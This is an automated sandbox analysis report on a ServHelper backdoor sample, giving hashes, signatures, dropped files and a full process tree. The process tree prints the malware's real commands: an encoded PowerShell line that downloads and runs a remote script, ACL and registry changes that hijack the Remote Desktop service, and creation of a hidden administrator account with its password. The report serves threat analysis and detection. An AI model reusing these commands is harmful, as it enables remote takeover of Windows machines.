Analysis

  • max time kernel
    167s
  • max time network
    188s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22-09-2021 06:21

General

  • Target

    61d5e32562d1c70daf0a3112f7888258.exe

  • Size

    5.7MB

  • MD5

    61d5e32562d1c70daf0a3112f7888258

  • SHA1

    11c54ce99e87637f58c7bc0bd8134c73df9bf879

  • SHA256

    da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605

  • SHA512

    9cad97c4c71535a2391ad73d13e27748300e3147a3383d4eee85caadb461815f9ee8e9b172e732df16813fa8f5ffdc7115e2740778ebc51c536ab06fc7910cc2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe
    "C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1840
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\01ximcta\01ximcta.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES81DB.tmp" "c:\Users\Admin\AppData\Local\Temp\01ximcta\CSC1CD5A0B993214D799C33BD3EA94FE8DB.TMP"
          4⤵
            PID:760
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1716
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1756
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1696
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1380
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1368
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1516
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:952
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1736
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:624
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1332
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1820
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1616
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1492
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1844
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1084
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1800
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1632
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1600
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1984
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1080
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:988
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:316
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1484
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1920
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1576
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1020
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1920
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc lfOn4usP /add
                                  1⤵
                                    PID:1756
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc lfOn4usP /add
                                      2⤵
                                        PID:1208
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc lfOn4usP /add
                                          3⤵
                                            PID:860
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1516
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1072
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:456
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:976
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:292
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:788
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1996
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:368
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1008
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc lfOn4usP
                                                          1⤵
                                                            PID:1924
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc lfOn4usP
                                                              2⤵
                                                                PID:1808
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc lfOn4usP
                                                                  3⤵
                                                                    PID:820
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1532
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:844
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:968
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1464
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1572
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1832
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1320

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0d3ae33b-746f-4323-ba74-bdb028a07a8c

                                                                        MD5

                                                                        2d5cd190b5db0620cd62e3cd6ba1dcd3

                                                                        SHA1

                                                                        ff4f229f4fbacccdf11d98c04ba756bda80aac7a

                                                                        SHA256

                                                                        ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

                                                                        SHA512

                                                                        edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_639ab942-c81f-47d4-ac03-65966cfc5380

                                                                        MD5

                                                                        a70ee38af4bb2b5ed3eeb7cbd1a12fa3

                                                                        SHA1

                                                                        81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

                                                                        SHA256

                                                                        dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

                                                                        SHA512

                                                                        8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_654a8ace-004d-41ec-aa50-916d4034f062

                                                                        MD5

                                                                        6f0d509e28be1af95ba237d4f43adab4

                                                                        SHA1

                                                                        c665febe79e435843553bee86a6cea731ce6c5e4

                                                                        SHA256

                                                                        f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

                                                                        SHA512

                                                                        8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6c50b578-02d4-4dc6-be97-f7b6cb578ea7

                                                                        MD5

                                                                        e5b3ba61c3cf07deda462c9b27eb4166

                                                                        SHA1

                                                                        b324dad73048be6e27467315f82b7a5c1438a1f9

                                                                        SHA256

                                                                        b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

                                                                        SHA512

                                                                        a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_786aa4ad-8de6-4b09-9648-184e34d9e2f4

                                                                        MD5

                                                                        7f79b990cb5ed648f9e583fe35527aa7

                                                                        SHA1

                                                                        71b177b48c8bd745ef02c2affad79ca222da7c33

                                                                        SHA256

                                                                        080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

                                                                        SHA512

                                                                        20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8f9e8596-b8dd-41c6-940e-311ae33f2ac3

                                                                        MD5

                                                                        faa37917b36371249ac9fcf93317bf97

                                                                        SHA1

                                                                        a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

                                                                        SHA256

                                                                        b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

                                                                        SHA512

                                                                        614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c42c2c11-0ed0-47cd-b39d-ce907cad38ae

                                                                        MD5

                                                                        d89968acfbd0cd60b51df04860d99896

                                                                        SHA1

                                                                        b3c29916ccb81ce98f95bbf3aa8a73de16298b29

                                                                        SHA256

                                                                        1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

                                                                        SHA512

                                                                        b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        097dc02256d474be1e33a9ffc66c910b

                                                                        SHA1

                                                                        aa0d1ead57b57cb7472fec127a9f013e2863ece9

                                                                        SHA256

                                                                        60eea41c8a20e29efe82cd3b3a252cb3f3ac1477ffe02ed6b912c2f6bcd37ecd

                                                                        SHA512

                                                                        bd4add82d5cbe9f5c545fcbc402642efac1a90b30dd373fc6b14ece46ad389ad56b7d89dfa97c0f7c9c4a7afa93467c2735cd742dfe9095930649a0ca24e0bed

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        5a773c88f360a9b88e4674ff5f27b147

                                                                        SHA1

                                                                        248ab57c0259cbdf1ebbcefbb1659a3e132604a4

                                                                        SHA256

                                                                        99e66670d93c9d83cf2d21b89a1b871a6e67bbcbc2678372c98691f4a4ab821a

                                                                        SHA512

                                                                        2cb0bb7bba07701f59ce6ff242368719f85c4310da6074d24c81ab2b94f022f7dfffc5fcd0390195b0a27315f5ef98a415702dc57192e3f079ba539005790351

                                                                      • C:\Users\Admin\AppData\Local\Temp\01ximcta\01ximcta.dll

                                                                        MD5

                                                                        d990115e609be57a826dde95367044ad

                                                                        SHA1

                                                                        644a4c0e5be849aeea5b39bac10e0a7eebc063b8

                                                                        SHA256

                                                                        c8adc0962bbd0ab534eb18d0791056bd9adfabd8f638b621c9dc0d8f403d03d3

                                                                        SHA512

                                                                        706e77cb17f5d03354643ad996944f223d5f78c83dffd5666efd46bd922d15bbe4a668dbdeaef70efba1b0f63da57f38bb4500bcd769591b489ff9c6e26f6c6c

                                                                      • C:\Users\Admin\AppData\Local\Temp\RES81DB.tmp

                                                                        MD5

                                                                        94d14dfed3873526664668b0b2aa023d

                                                                        SHA1

                                                                        2ed962b8f740d481a852519368d0d9d4cfea07b1

                                                                        SHA256

                                                                        1cebb023058d62c7383e6fd1c865e5197f522a6a09412d3c1beb802b105871ab

                                                                        SHA512

                                                                        230f221e9c082c2a3b5db10180a69ee837111d2a28324b562602d8d645951c433855a6065f973a5dcb1f0dafe8307dfeb925e28e9546da3bcb5601ea230d893e

                                                                      • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                                                        MD5

                                                                        9fca6b1768eba2c5d42f189123152e32

                                                                        SHA1

                                                                        560ec3249af6e8d82e994554475b870d32145352

                                                                        SHA256

                                                                        c5c7012656bfebd5ba7d4ae8459bd2fcc57ac661e413e2b1da339b9fba86de1f

                                                                        SHA512

                                                                        b72f2bc28dcde144596eabb62375479c4ddb3b004ac8759ee9523170289f55572784e695a552fd612a5dc5a56f6c76b3baee9831c7cac7123f72b2eb2aadb3f2

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        28d9755addec05c0b24cca50dfe3a92b

                                                                        SHA1

                                                                        7d3156f11c7a7fb60d29809caf93101de2681aa3

                                                                        SHA256

                                                                        abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                                                        SHA512

                                                                        891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        bd009f8192e4bf5c50d7ff2882d1bbe5

                                                                        SHA1

                                                                        4735a9e2f4a6188ed8d57639b0e0841a36150b83

                                                                        SHA256

                                                                        2cdd22d384c6c7d7a2ef71db040d83597dd7ea59a7d125e69bae11295300b124

                                                                        SHA512

                                                                        4b554b9d026b9d00e879004148f8028ee3b7420c6d05ac249b560649f9961feca01e835e86ad2871f9dc477b5ae5d7d38bd4f32c1e967406a0de2aefbdb62045

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        bd009f8192e4bf5c50d7ff2882d1bbe5

                                                                        SHA1

                                                                        4735a9e2f4a6188ed8d57639b0e0841a36150b83

                                                                        SHA256

                                                                        2cdd22d384c6c7d7a2ef71db040d83597dd7ea59a7d125e69bae11295300b124

                                                                        SHA512

                                                                        4b554b9d026b9d00e879004148f8028ee3b7420c6d05ac249b560649f9961feca01e835e86ad2871f9dc477b5ae5d7d38bd4f32c1e967406a0de2aefbdb62045

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        bd009f8192e4bf5c50d7ff2882d1bbe5

                                                                        SHA1

                                                                        4735a9e2f4a6188ed8d57639b0e0841a36150b83

                                                                        SHA256

                                                                        2cdd22d384c6c7d7a2ef71db040d83597dd7ea59a7d125e69bae11295300b124

                                                                        SHA512

                                                                        4b554b9d026b9d00e879004148f8028ee3b7420c6d05ac249b560649f9961feca01e835e86ad2871f9dc477b5ae5d7d38bd4f32c1e967406a0de2aefbdb62045

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\srvsvc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\01ximcta\01ximcta.0.cs

                                                                        MD5

                                                                        9f8ab7eb0ab21443a2fe06dab341510e

                                                                        SHA1

                                                                        2b88b3116a79e48bab7114e18c9b9674e8a52165

                                                                        SHA256

                                                                        e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                                                        SHA512

                                                                        53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\01ximcta\01ximcta.cmdline

                                                                        MD5

                                                                        68a3697e32d417f2e9290858efcaa7c7

                                                                        SHA1

                                                                        40ab8410e13c5905fc5bff937c97b77d6f301ca1

                                                                        SHA256

                                                                        6fcf0da1bf1c50496186b7ce9e50166af41b3cfb020e58b29fed1852c09bf171

                                                                        SHA512

                                                                        6578a96e9a07e7224a23ef81db374982d9c19517db8f3af743941e58b5aa9d0acaac81cf7ed4140e701373fbc5189ee2907b870ddecea50e598c2f9d74fe8ead

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\01ximcta\CSC1CD5A0B993214D799C33BD3EA94FE8DB.TMP

                                                                        MD5

                                                                        42603dc250c3469d8ff863b9671b6313

                                                                        SHA1

                                                                        91c7bce655a0491e0d50b6dab7dde14b221a01d3

                                                                        SHA256

                                                                        762182f7e8a444b1dcacbc73fd042f9d75d66f3d05dd03ef192ebaa8a6cb5047

                                                                        SHA512

                                                                        b41143d10349932df879c5acb612b9036b2eae6e3e788e86a651c0dd870492d1f51ca041b56d0860aa396b895005859e776637a113e636d1ac5a989056f75cce

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5

                                                                        0750828e5a80dae0280c43945332e145

                                                                        SHA1

                                                                        fa1c85c33c0b99f8df14b6ccbd37f5df3d62c30c

                                                                        SHA256

                                                                        637dd8f4245397e281bf84433f75eeb40461e70e81a11a4c2c252dc8f9e4b947

                                                                        SHA512

                                                                        a45f4023f5d8951fef44bbe830c1b8992e7cb9c013882048d7227bac0c76869584c1ccc1d323803ced7a1e353998d0bface12eb9ef1dcd04e8e39b155528fd14

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        0941efccfdbde6a619081456be071102

                                                                        SHA1

                                                                        4d9079f335bfdb4e88e022ffdd2193c4561f099d

                                                                        SHA256

                                                                        99dbace98f5f29a5c0c962db270dc195a8b6d2f8dbb009b79b929ff9d68d8281

                                                                        SHA512

                                                                        bbb587471dec6beae7852ae2ee1fff0efb26ce57ab69dbaf4385c965bf09a31be60c67951e52f488866daa0effab715e6b1a0aca5b02a7fdcc5dd586d84d56ab

                                                                      • memory/268-76-0x0000000000000000-mapping.dmp

                                                                      • memory/292-189-0x0000000000000000-mapping.dmp

                                                                      • memory/316-180-0x0000000000000000-mapping.dmp

                                                                      • memory/368-192-0x0000000000000000-mapping.dmp

                                                                      • memory/456-188-0x0000000000000000-mapping.dmp

                                                                      • memory/624-167-0x0000000000000000-mapping.dmp

                                                                      • memory/760-79-0x0000000000000000-mapping.dmp

                                                                      • memory/788-190-0x0000000000000000-mapping.dmp

                                                                      • memory/820-196-0x0000000000000000-mapping.dmp

                                                                      • memory/844-197-0x0000000000000000-mapping.dmp

                                                                      • memory/860-186-0x0000000000000000-mapping.dmp

                                                                      • memory/952-165-0x0000000000000000-mapping.dmp

                                                                      • memory/988-179-0x0000000000000000-mapping.dmp

                                                                      • memory/1008-193-0x0000000000000000-mapping.dmp

                                                                      • memory/1020-183-0x0000000000000000-mapping.dmp

                                                                      • memory/1072-187-0x0000000000000000-mapping.dmp

                                                                      • memory/1080-178-0x0000000000000000-mapping.dmp

                                                                      • memory/1084-173-0x0000000000000000-mapping.dmp

